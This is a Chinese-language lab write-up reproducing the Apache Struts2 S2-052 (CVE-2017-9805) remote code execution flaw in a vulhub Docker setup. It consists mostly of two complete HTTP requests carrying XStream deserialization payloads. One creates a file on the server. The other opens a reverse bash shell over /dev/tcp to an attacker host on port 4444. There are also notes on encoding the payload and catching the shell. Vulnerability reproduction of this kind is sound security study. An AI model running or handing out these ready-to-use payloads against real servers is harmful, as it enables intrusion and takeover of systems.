Struts2-052（CVE-2017-9805）遠程代碼執行漏洞復現

漏洞簡介：2017年9月5日，Apache Struts官方發佈最新的安全公告稱，Apache Struts 2.5.x的REST插件存在遠程代碼執行高危漏洞，漏洞編號爲CVE-2017-9805（S2-052），受影響的版本爲Struts 2.5 - Struts 2.5.12。攻擊者可以通過構造惡意XML請求在目標服務器上遠程執行任意代碼。漏洞的成因是由於使用XStreamHandler反序列化XStream實例的時候沒有執行嚴格的過濾導致遠程代碼執行。

復現過程

使用docker搭建漏洞環境。
 

#啓動docker
service docker start
#進入漏洞環境目錄
cd vulhub/struts2/s2-052
#加載漏洞環境
docker-compose up -d

搭建完成後在瀏覽器端進行訪問

在burpsuite中抓包改包進行重放，payload如下。
 

POST /orders HTTP/1.1
Host: 192.168.0.23:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://192.168.0.23:8080/orders/3/edit
Cookie: JSESSIONID=038C79EF8BD97CF8A5F02024C3EC34ED
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 1673

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> 
<command>
<string>/usr/bin/touch</string>  
<string>/tmp/shell.txt</string> 
</command> 
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

 

其中<command></command>字段爲執行的命令，如圖命令表示在/tmp下創建一個shell.txt文件。重放報錯，但可以在容器/tmp文件下發現shell.txt文件。

利用該漏洞反彈shell，payload如下。

POST /orders HTTP/1.1
Host: 192.168.0.23:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://192.168.0.23:8080/orders/3/edit
Cookie: JSESSIONID=038C79EF8BD97CF8A5F02024C3EC34ED
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 1717

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> 
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >&amp; /dev/tcp/192.168.0.162/4444 0>&amp;1</string>
</command> 
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

 

在遠程命令執行過程中，由於務器不識別&這個符號，需要編碼，將&換成 &amp;，如圖。

在攻擊機裏面監聽4444端口，重放，拿到shell。

參考鏈接：https://www.cnblogs.com/zhaijiahui/p/8124317.html
https://www.freebuf.com/vuls/147017.html